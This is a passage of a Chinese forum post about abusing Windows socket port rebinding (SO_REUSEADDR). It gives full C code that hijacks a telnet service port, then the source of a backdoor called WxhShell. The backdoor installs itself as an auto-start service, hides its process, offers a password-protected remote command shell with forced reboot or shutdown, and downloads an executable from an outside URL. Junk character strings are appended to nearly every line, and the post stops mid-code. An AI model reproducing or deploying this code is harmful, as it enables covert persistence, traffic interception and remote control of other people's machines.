社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14046阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -4vHK!l  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); UbY~xs7_  
q: TT4MUj<  
  saddr.sin_family = AF_INET; O2q=gYX>\  
\]U<hub  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); hC|5e|S  
[%7;f|p?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /lr1hW~Dbk  
K_AtU/  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 c?.r"5#  
k=T-L  
  这意味着什么?意味着可以进行如下的攻击: N75 3  
t+3   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 '&-5CpDUs  
~m?74^ i  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >@)*S n9"  
8! H8[J  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 s; B j7]  
O t *K+^I  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  h v$uH7Fz  
#~H%[ sa  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5)d,G9  
j-lSFTo  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 n|70x5Z?}J  
"x#]i aDjf  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 L_THU4^j  
mL:m;>JJ n  
  #include DKy >]Hca  
  #include ~\IF9!  
  #include $ \Q<K@{  
  #include    / h}PEu3y  
  DWORD WINAPI ClientThread(LPVOID lpParam);   I.^X2  
  int main() r5MxjuOB1  
  { E-UB -"6  
  WORD wVersionRequested; xm<v"><  
  DWORD ret; l|08  
  WSADATA wsaData; :y+B;qw  
  BOOL val; 6=ZRn gQ  
  SOCKADDR_IN saddr; Q`.'-iq  
  SOCKADDR_IN scaddr; xwTijSj  
  int err; `z9)YH  
  SOCKET s; 2d-TU_JqX  
  SOCKET sc; T@;! yz}Pf  
  int caddsize; "gXxRHTX  
  HANDLE mt; )KSisEL  
  DWORD tid;   oLgg  
  wVersionRequested = MAKEWORD( 2, 2 ); &$mZ?%^C  
  err = WSAStartup( wVersionRequested, &wsaData ); m b%C}8D  
  if ( err != 0 ) { W(;x\Nc7  
  printf("error!WSAStartup failed!\n"); $|4cJ#;^L  
  return -1; T;i?w  
  } U91 &|  
  saddr.sin_family = AF_INET; k2EHco0BG  
   B#FHf Z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .:w#&yM [U  
zP_]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @GN(]t&3  
  saddr.sin_port = htons(23); <Q2u)m'  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) b;S6'7Jf9  
  { JB&G~7Q85  
  printf("error!socket failed!\n"); a?5WKO  
  return -1; v1 LKU  
  } 3>RcWy;1i  
  val = TRUE; $Mdbt o~<  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 }5Yj  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) QB!jLlg(  
  { K@B" ]6  
  printf("error!setsockopt failed!\n"); :W~6F*A  
  return -1; b6 $,Xh  
  } q_cC7p6t  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; s(Z(e %  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 + c`AE  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 eymi2-a<  
H5~1g6b@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  }VF#\q  
  { kW#S]fsfU  
  ret=GetLastError(); `YPe^!` $  
  printf("error!bind failed!\n"); ]JH64~a  
  return -1; YPu9Q  
  } TI}}1ScA'  
  listen(s,2); m;dm|4L^  
  while(1) Sa L"!uAk  
  { >^dyQyK  
  caddsize = sizeof(scaddr); Z+ixRch@-s  
  //接受连接请求 vkJ)FEar  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); M)L/d_4ka  
  if(sc!=INVALID_SOCKET) 5?Bc Y ;  
  { ! 0^;;'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); fV 3r|Bp  
  if(mt==NULL) ^V[/(Lq  
  { =4eUAeH {w  
  printf("Thread Creat Failed!\n"); >QXzMN}o  
  break; _IWxYp  
  } AIb>pL{  
  } =-_)$GOI'  
  CloseHandle(mt); g6WPPpqus  
  } X2qv^G,  
  closesocket(s); WE0}$P:  
  WSACleanup(); hi!`9k  
  return 0; 98GlhogWt  
  }   xq2V0Jp1u  
  DWORD WINAPI ClientThread(LPVOID lpParam) ndw7v  
  { Q $]YD pCM  
  SOCKET ss = (SOCKET)lpParam; y,Jh@n';|  
  SOCKET sc; {3LA%xO  
  unsigned char buf[4096]; KF_?'X0=  
  SOCKADDR_IN saddr; %`e`g ^  
  long num; +td<{4oq8  
  DWORD val; 9e!vA6Fx  
  DWORD ret; 9RH"d[%yc}  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ?OE#q$g  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   OOokhZd`  
  saddr.sin_family = AF_INET; Ea-bC:>  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 61} i5o  
  saddr.sin_port = htons(23); /t*YDWLg  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `z9J`r= I  
  { C ZJV_0  
  printf("error!socket failed!\n"); .oEbEs  
  return -1; Di>rO038  
  } fxd0e;NAAh  
  val = 100; #n3ykzoqIX  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dy<27=  
  { ;$7v%Ls=  
  ret = GetLastError(); #jBN?Z#  
  return -1; KVN"XqE4  
  } Q8q@Y R#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v`x|]-/M&  
  { :'}@Al9=>  
  ret = GetLastError(); 9C/MRmv`  
  return -1; v>H=,.`0\  
  } F)S PaC4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) CQgcC-)ns]  
  { ,(N[*)G  
  printf("error!socket connect failed!\n"); )o{aeV  
  closesocket(sc); hJ f2o  
  closesocket(ss); E =AVrv5T  
  return -1; jZd}O C<  
  } uFG<UF  
  while(1) qM",( Bh  
  { ]]2k}A[-I  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 wC`;f5->  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  w_Uh  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 _fn1)  
  num = recv(ss,buf,4096,0); l+zb~  
  if(num>0) vN65T$g7  
  send(sc,buf,num,0); L%t@,O#,  
  else if(num==0) x GH1epf  
  break; zXZir7NfM  
  num = recv(sc,buf,4096,0); Y/fJQ6DY  
  if(num>0) \S ."?!U  
  send(ss,buf,num,0); d(;4`kd*N  
  else if(num==0) %d2!\x%bG  
  break; 2'|8Q\,:4Z  
  }  |yKud  
  closesocket(ss); X(*!2uS  
  closesocket(sc); y 9L14  
  return 0 ; fThgK;Qy'U  
  } tU@zhGb  
o6a0'vU><  
94/BG0  
========================================================== ZVih=Y-w  
+v7) 1y  
下边附上一个代码,,WXhSHELL Z[?mc|*x  
V '.a)6  
========================================================== :TalW~r|  
`yO'[2  
#include "stdafx.h" /7"I#U^u/  
O_~7Glu  
#include <stdio.h> I G ~`i I  
#include <string.h> nZk +  
#include <windows.h> :"1|AJo)  
#include <winsock2.h> I&VTW8jB  
#include <winsvc.h> zjl!9M!  
#include <urlmon.h> h6:#!Rg  
wT,R0~V0  
#pragma comment (lib, "Ws2_32.lib") !t#F/C  
#pragma comment (lib, "urlmon.lib") xHA0gZf  
Fc6iQ  
#define MAX_USER   100 // 最大客户端连接数 'b&yrBFD  
#define BUF_SOCK   200 // sock buffer 3=mr "&]r:  
#define KEY_BUFF   255 // 输入 buffer 8LzBh_J?  
?-)I+EAnE  
#define REBOOT     0   // 重启 @N@F,~[RR2  
#define SHUTDOWN   1   // 关机 3gEMRy*+  
9=`Wp6Gmn  
#define DEF_PORT   5000 // 监听端口 p@ NaD=9  
pzZk\-0R  
#define REG_LEN     16   // 注册表键长度  #xh_  
#define SVC_LEN     80   // NT服务名长度 q5DEw&UZJ  
H`9Uf)  
// 从dll定义API 7gF"=7{-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O+q/4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \ 0W!4D  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); tq1CwzRX  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I:98 $r$  
/]^#b  
// wxhshell配置信息 X}ma]  
struct WSCFG { *ISZlR\#  
  int ws_port;         // 监听端口 q*7<)VwI  
  char ws_passstr[REG_LEN]; // 口令 $'rG-g!f\  
  int ws_autoins;       // 安装标记, 1=yes 0=no w"Y` ]2  
  char ws_regname[REG_LEN]; // 注册表键名 RE2&mYt  
  char ws_svcname[REG_LEN]; // 服务名 58Xzup_"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e'%v1-&sP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "qz3u`[o  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >Gml4vGK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %QmxA 7fW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~^jq(:d)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Mj#-j/{x{5  
&#`l;n:]+  
}; 1\*\?\T>_  
/D&%v *~E  
// default Wxhshell configuration @gC=$A#  
struct WSCFG wscfg={DEF_PORT, -VKS~{  
    "xuhuanlingzhe", #DU26nCL  
    1, TfYVw~p_%  
    "Wxhshell", soA|wk\A  
    "Wxhshell", H,3\0BKk  
            "WxhShell Service", ~}EMk3  
    "Wrsky Windows CmdShell Service", \wcam`f  
    "Please Input Your Password: ", .IBp\7W!?E  
  1, 'rp }G&m  
  "http://www.wrsky.com/wxhshell.exe", i 9<pqQ  
  "Wxhshell.exe" K_)eWf0a  
    }; ]V l]XT$Um  
ZYU=\  
// 消息定义模块 (.w Ie/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wI]"U2L5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; tz4 ]qOH8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^z1&8k"[^  
char *msg_ws_ext="\n\rExit."; kft #R#m  
char *msg_ws_end="\n\rQuit.";  McH>"`  
char *msg_ws_boot="\n\rReboot..."; 9EDfd NN  
char *msg_ws_poff="\n\rShutdown..."; L37Y+C//  
char *msg_ws_down="\n\rSave to "; {vUN+We  
&,A64y  
char *msg_ws_err="\n\rErr!"; ]H-S, lmV  
char *msg_ws_ok="\n\rOK!"; 3.22"U\1:  
MYJg8 '[j  
char ExeFile[MAX_PATH]; kpL@P oQ/r  
int nUser = 0; EVp,Q"V]  
HANDLE handles[MAX_USER]; wW>zgTG  
int OsIsNt; xh7cVE[UM  
f` =CpO*  
SERVICE_STATUS       serviceStatus; _XJ2fA )  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; jK \T|vGJa  
/|#&px)G  
// 函数声明 '!l 1=cZD  
int Install(void); G9g1hie@%  
int Uninstall(void); H 0+dV3  
int DownloadFile(char *sURL, SOCKET wsh); ~P~  
int Boot(int flag); M@ed>.  
void HideProc(void); q0f3="  
int GetOsVer(void); L}@c6fHG  
int Wxhshell(SOCKET wsl); 3"o"fl  
void TalkWithClient(void *cs); @-UL`+  
int CmdShell(SOCKET sock); wP[t0/dl  
int StartFromService(void); =t6z \WB  
int StartWxhshell(LPSTR lpCmdLine); t]7&\ihZi~  
i4^o59}8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K>*a*[t0Sy  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); J[f;Xlh  
!9Aaj<yxm  
// 数据结构和表定义 W6On9 3sa  
SERVICE_TABLE_ENTRY DispatchTable[] = 5:'hj$~|\1  
{ 7 S?4XyU/o  
{wscfg.ws_svcname, NTServiceMain}, iD<(b`S  
{NULL, NULL} y|'SXM  
}; J_s>N  
LX^u_Iu   
// 自我安装 ]`Oo%$Ue  
int Install(void) M5xCC!  
{ 2W4qBaG$=  
  char svExeFile[MAX_PATH]; @)Ofi j  
  HKEY key; jBegh9KHq  
  strcpy(svExeFile,ExeFile); fk_o@ G!0  
sQMFpIrr  
// 如果是win9x系统,修改注册表设为自启动 DGzw8|/(  
if(!OsIsNt) { m!<\WN6g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { In`mtn q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]Kr `9r),  
  RegCloseKey(key); P2bZ65>3y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 27;ci:5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d/i`l*  
  RegCloseKey(key); ">#wOm+ +  
  return 0;  cReB~wk  
    } CiB%B`,N  
  } s`0QA!G{-  
} rF]h$Z8o  
else { $m42:amM  
\Ym5<];E  
// 如果是NT以上系统,安装为系统服务 x g0iN'e'K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I'|$}/\`  
if (schSCManager!=0) g]*#%Xa  
{ iezO9`  
  SC_HANDLE schService = CreateService fMOU$0]$<  
  ( TYy.jFT-  
  schSCManager, V O3x~E  
  wscfg.ws_svcname, TA{\PKA)  
  wscfg.ws_svcdisp, 3D2E?$dX  
  SERVICE_ALL_ACCESS, *hw\35%P`?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >yULC|'F&~  
  SERVICE_AUTO_START, t^w"w`v\u  
  SERVICE_ERROR_NORMAL, ;UxP Kpl  
  svExeFile, B'fb^n<  
  NULL, }K&7%N4LZ  
  NULL, kXf'5p1  
  NULL, 1PpyVf  
  NULL, qzTuxo0B  
  NULL 9]@A]p!  
  ); 1R,:  
  if (schService!=0) ho$ +L  
  { /Z$&pqs!  
  CloseServiceHandle(schService); *NG+L)g  
  CloseServiceHandle(schSCManager); <WcR,d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y*UA, <-  
  strcat(svExeFile,wscfg.ws_svcname); Vv ?-"\Z>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UXh9:T'%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [Nk3|u`h  
  RegCloseKey(key); 1&- </G#  
  return 0; )'~6HO8Z  
    } [<6S%s  
  } $g sxO!G  
  CloseServiceHandle(schSCManager); B#M5}QT|2  
} u,UmrR  
} |]c8jG\h  
49vcoHlf  
return 1; <"_d]?,  
} IyPwP*A  
e:5bzk!~  
// 自我卸载 xftBSdVE  
int Uninstall(void) c`o7d)_Ke  
{ Pqn@ST  
  HKEY key; O)jWZOVp >  
T87 m?a$  
if(!OsIsNt) { 8p:j&F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g4l !xT  
  RegDeleteValue(key,wscfg.ws_regname);  w/kt3Lw  
  RegCloseKey(key); "OdXY"G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Dp':oJC  
  RegDeleteValue(key,wscfg.ws_regname); eN^qG 42  
  RegCloseKey(key); fP. 6HF_p_  
  return 0; wbst8 *$  
  } lGOgN!?i  
} 3h *!V6%q  
} lk( }-  
else { ]4pkcV P  
fe9LEM8j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;9c<K  
if (schSCManager!=0) N9v1[~ bv_  
{ 7BJzM lJ1Y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  {PVWD7  
  if (schService!=0) Y$?9Zkp>  
  { iy%ZQ[Un  
  if(DeleteService(schService)!=0) { dfij|>:*0  
  CloseServiceHandle(schService); "\3B^ e,  
  CloseServiceHandle(schSCManager); "t~  
  return 0; ;oy-#p>N%  
  } HxIIO[h  
  CloseServiceHandle(schService); Y9&,t\ q  
  } !K'}K>iT  
  CloseServiceHandle(schSCManager); o !vE~  
} MpF$xzh  
} %y@Hh=  
{qN 5MsY  
return 1; %'X[^W  
} 6x%h6<#xh*  
|\7 ET[X q  
// 从指定url下载文件 ,&R/4 :I  
int DownloadFile(char *sURL, SOCKET wsh) -}KC=,]vh  
{ SN1}xR$  
  HRESULT hr; Z7=`VNHc  
char seps[]= "/"; `.i!NBA'6  
char *token; xo7Kn+ Kl  
char *file; `|ASx8_!  
char myURL[MAX_PATH]; /,g,Ch<d  
char myFILE[MAX_PATH]; D F*:_B )  
~NpA".PB  
strcpy(myURL,sURL); n6BQk 2l  
  token=strtok(myURL,seps); !Rhl f.x  
  while(token!=NULL) z}*9uZ  
  { &3n~ %$#N  
    file=token; tF{D= ;G  
  token=strtok(NULL,seps); f)^_|8  
  } osX8eX]\  
gk0(ANx  
GetCurrentDirectory(MAX_PATH,myFILE); Z2'Bk2 L  
strcat(myFILE, "\\"); M!REygyx  
strcat(myFILE, file); *%S"eWb  
  send(wsh,myFILE,strlen(myFILE),0); -)RH5WGS  
send(wsh,"...",3,0); q)^Jj ?W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %)0*&a 4  
  if(hr==S_OK) R]RZq+2 ^  
return 0; \E*d\hrl{  
else NbU[l  
return 1; id2j7|$,  
F7O(Cy"1  
} i5CK*"$Q  
CTZh0 x  
// 系统电源模块 U qFv}VsnF  
int Boot(int flag) }wHW7SJ  
{ 6{^E{go  
  HANDLE hToken; Is{KN!Hw  
  TOKEN_PRIVILEGES tkp; 5*,f Fib  
L 8dc(Z%v  
  if(OsIsNt) { &8g?4v  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LQngK7>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8q,6}mV  
    tkp.PrivilegeCount = 1; <c qbUL  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A*}.EClH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Dk(1}%0U/  
if(flag==REBOOT) { \kU &^Hi  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s#)5h0t#du  
  return 0; <7j87  
} BA%pY|"Q  
else { '<ZlGFt'n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'gPzm|f|t@  
  return 0; iX2]VRNxl  
} }Du}c3  
  } 'i4_`^:+  
  else { w[I E  
if(flag==REBOOT) { 'VlDh`<W  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g!+| I  
  return 0; o!{w"K  
} Q2F+?w;,  
else { H\:lxR^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q gL aa  
  return 0; s0k`p<q  
} S/ODq L|  
} S=e{MI  
&' Ne! o8  
return 1; a6WI170^1  
} :qIXY/  
ak |WW]R  
// win9x进程隐藏模块 }DK7'K  
void HideProc(void) -1U D0(  
{ D-4f >  
7zSLAHW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); or';A'k  
  if ( hKernel != NULL ) i5K[>5  
  { F=a<~EpZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }A7j/uy}s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); iTAx=SG  
    FreeLibrary(hKernel); Htgx`N|  
  } 2VE9}%i  
G %Q^o5m  
return; ~nG(5:A5g/  
} +E.GLn2 /  
t_qNq{  
// 获取操作系统版本 ]A<~XIu  
int GetOsVer(void) fH >NJK;  
{ ;bL EL"x%  
  OSVERSIONINFO winfo; WzF !6n!h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h9Y%{v  
  GetVersionEx(&winfo); $l|qk  z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +L9Eqll  
  return 1; ZsOIH<}S  
  else s#tZg  
  return 0; 0iwZT&O  
} ^k#P5oV  
_J? Dq  
// 客户端句柄模块 T3pmVl  
int Wxhshell(SOCKET wsl) B9H@e#[  
{ 8'4S8DM  
  SOCKET wsh; "t_-f7fS7  
  struct sockaddr_in client; R]btAu;Z  
  DWORD myID; a8 mVFm  
< !dqTJos  
  while(nUser<MAX_USER) eK!V );  
{ 1PP $XJtyD  
  int nSize=sizeof(client); WUsKnf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4y'OMRy  
  if(wsh==INVALID_SOCKET) return 1; Wv/%^3  
( m:Zk$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Oms. e  
if(handles[nUser]==0) 2h=!k|6  
  closesocket(wsh); MvWaB  
else x`dHJq`_g  
  nUser++; FTQ%JTgT  
  } fI~Xmw+}}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vOc 9ZE  
P}TI q#  
  return 0; mHBnC&-/  
} T<w5vqFDu  
cvfr)K[0  
// 关闭 socket E7Y`|nT  
void CloseIt(SOCKET wsh)  uJ5Eka  
{ m:WyuU<  
closesocket(wsh); , eZ1uBI?  
nUser--; D*F4it.  
ExitThread(0); D6G oa(!9d  
} eQD)$d_5  
Y>EzTV  
// 客户端请求句柄 w`il=ZAC  
void TalkWithClient(void *cs) e*;c(3>(  
{ q"<acqK  
(Xq)py9  
  SOCKET wsh=(SOCKET)cs; .D: Z{|.1  
  char pwd[SVC_LEN]; $} =krz:r  
  char cmd[KEY_BUFF]; ]jaQ[g$F  
char chr[1]; cnFI &,FM  
int i,j; JNa"8  
%y|)=cm[  
  while (nUser < MAX_USER) { ae0> W  
S<WdZ=8sA  
if(wscfg.ws_passstr) { I]&#Dl/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8rMX9qTO@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xg NJeQ  
  //ZeroMemory(pwd,KEY_BUFF); l#H#+*F  
      i=0; 7"w2$*4'0  
  while(i<SVC_LEN) { +tk{"s^r*  
W'.s\e?gh  
  // 设置超时 "E8zh|m o  
  fd_set FdRead; K!'AkTW+-  
  struct timeval TimeOut; b r^_'1  
  FD_ZERO(&FdRead); V {pj~D.E  
  FD_SET(wsh,&FdRead); lI-L` x  
  TimeOut.tv_sec=8; ?}RSwl  
  TimeOut.tv_usec=0; L\&<sy"H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B]Y}Hu  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .Y3pS/VI  
D!.+Y-+Xzu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Sz^5b!  
  pwd=chr[0]; ;z IP,PMM  
  if(chr[0]==0xd || chr[0]==0xa) { spGB)k,^  
  pwd=0; oA =4=`  
  break; P  '>SmQ  
  } h|h>u ^@  
  i++; FFH_d <q  
    } NDs!a  
niqN{  
  // 如果是非法用户,关闭 socket `xywho%/Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gOr%!QaF  
} `S2[5i  
8g:;)u4$P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); BVr0Gk  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dd\n8f  
awOd_![c'  
while(1) { "=+ 7-`  
d8m6B6 CW  
  ZeroMemory(cmd,KEY_BUFF); CMCO}#  
Mnz!nWhk  
      // 自动支持客户端 telnet标准   98WZ){+,m  
  j=0; rc/nFl 6#  
  while(j<KEY_BUFF) { B7]C]=${m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1XnZy5fEo  
  cmd[j]=chr[0]; e89Xb;;w  
  if(chr[0]==0xa || chr[0]==0xd) { ]]&M@FM2z  
  cmd[j]=0; qWx][D"  
  break; xw3YK!$sIF  
  } 6X\ 2GC9  
  j++; =Apxdnz,  
    } 66'?&Xx'  
:J :, m  
  // 下载文件 g=2Rqi5  
  if(strstr(cmd,"http://")) { g*F'[Z."  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3Ezy %7  
  if(DownloadFile(cmd,wsh)) jWY$5Vq<H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?APe R,"V  
  else 13+<Q \  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `"@g8PWe  
  } }Y*VAnY6;  
  else { u_ '!_T L  
4lM8\Lr  
    switch(cmd[0]) { S3@ |Q\*r  
  TU GNq  
  // 帮助 hBFP1u/E'  
  case '?': { |<Gl91  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]Z oD'-,  
    break; `d[1`P1i[  
  } *JaqTI,e  
  // 安装 Qhw^S*  
  case 'i': { %<\6TZr  
    if(Install()) !Yw3 d   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l6~-8d+lfN  
    else b L]erYm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MzP7Py 8.  
    break; OZIW_'Wm/  
    } 24/XNSE,-  
  // 卸载 w,Lvt }  
  case 'r': { OKP9CLg9  
    if(Uninstall()) q-rB2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %rF?dvb;?  
    else ?  BE6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gi-Yqco  
    break; =r.mlc``W  
    } }->.k/vc  
  // 显示 wxhshell 所在路径 A)~X,  
  case 'p': { #_|sgS?1  
    char svExeFile[MAX_PATH]; K3' niGT  
    strcpy(svExeFile,"\n\r"); p?2Y }9  
      strcat(svExeFile,ExeFile); d~?X/sJ t  
        send(wsh,svExeFile,strlen(svExeFile),0); F! X}(N?t  
    break; +E;2d-x*p  
    } sU"}-de  
  // 重启 h@@nR(<i  
  case 'b': { Sje wuIi1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); JIFU;*PR1  
    if(Boot(REBOOT)) #CnHf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nD0}wiL{  
    else {  X!j{o  
    closesocket(wsh); g >'p>}t  
    ExitThread(0); v|ck>_" .  
